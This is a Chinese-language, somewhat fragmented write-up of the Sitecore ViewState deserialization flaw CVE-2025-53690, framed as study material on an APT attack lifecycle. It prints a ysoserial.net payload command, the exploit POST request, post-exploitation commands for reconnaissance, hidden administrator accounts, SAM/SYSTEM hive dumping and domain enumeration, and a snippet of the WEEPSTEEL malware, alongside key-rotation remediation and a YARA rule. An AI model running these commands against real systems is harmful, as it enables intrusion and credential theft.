CVE-2025-53690 是 Sitecore 产品线中发现的一个 ViewState 反序列化漏洞,通过利用泄露的 ASP.NET machine key 可实现远程代码执行,属于严重安全漏洞。
该漏洞的核心在于错误的配置管理:
ViewState 是 ASP.NET 的状态管理功能:
__VIEWSTATE 隐藏字段中<!-- web.config 示例 -->
<system.web>
<machineKey
validationKey="[64字节密钥]"
decryptionKey="[48字节密钥]"
validation="HMACSHA256"
decryption="AES" />
</system.web>
Target: /sitecore/blocked.aspx
Method: POST
特点:无需认证即可访问,使用 ViewState
攻击者使用已知的 machine key 和 ysoserial.net 生成恶意载荷:
# ysoserial.net 使用示例
ysoserial.exe -f ViewState -g TypeConfuseDelegate -c "calc.exe" --validationkey="[密钥]" --validationalg="HMACSHA256" --decryptionkey="[密钥]" --decryptionalg="AES"
POST /sitecore/blocked.aspx HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
__VIEWSTATE=[恶意载荷]&__VIEWSTATEGENERATOR=[值]
/sitecore/blocked.aspx# 执行的命令
whoami
hostname
net user
tasklist
ipconfig /all
netstat -ano
net group "domain admins"
部署的工具:
7za.exe: 文件压缩工具lfe.ico: EARTHWORM 网络隧道工具1.vbs: 命令执行用 VBScript# 创建本地管理员账户
net user asp$ [密码] /add
net localgroup administrators asp$ /add
net user sawadmin [密码] /add
net localgroup administrators sawadmin /add
凭据收集:
reg save HKLM\SYSTEM c:\users\public\system.hive
reg save HKLM\SAM c:\users\public\sam.hive
net user [AdminUser] /passwordchg:no /expires:never
wmic useraccount where name='[AdminUser]' set PasswordExpires=False
# 识别域控制器
nltest /DCLIST:[domain]
nslookup [domain-controller]
# 在 GPO 中搜索 cpassword(组策略首选项攻击)
findstr /S /l cpassword \\[DC]\sysvol\[domain]\policies\*.xml
# 执行 BloodHound/SharpHound
sh.exe -c all
// 采集的信息
Information.BasicsInfo basicsInfo = new Information.BasicsInfo
{
Directories = new Information.Directories
{
CurrentWebDirectory = HostingEnvironment.MapPath("~/")
},
OperatingSystemInformation = Information.GetOperatingSystemInformation(),
DiskInformation = Information.GetDiskInformation(),
NetworkAdapterInformation = Information.GetNetworkAdapterInformation(),
Process = Information.GetProcessInformation()
};
输出方式:伪装成 ViewState 以隐藏数据
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE"
value="/wEPDwUKLTcyODc4{AES 加密 + base64 编码的输出}" />
<!-- 生成唯一 machine key -->
<machineKey
validationKey="[新的_64字节密钥]"
decryptionKey="[新的_48字节密钥]"
validation="HMACSHA256"
decryption="AES" />
# YARA 规则示例(检测 WEEPSTEEL)
rule WEEPSTEEL_Detection {
strings:
$viewstate = "__VIEWSTATE"
$crypto = "System.Security.Cryptography"
$serializer = "JavaScriptSerializer"
condition:
all of them
}
CVE-2025-53690 是一个典型示例,展示了简单的配置错误如何导致严重的安全威胁。通过此漏洞,学习者可以体验真实 APT 攻击的完整生命周期,并理解现代攻击技术与防御策略。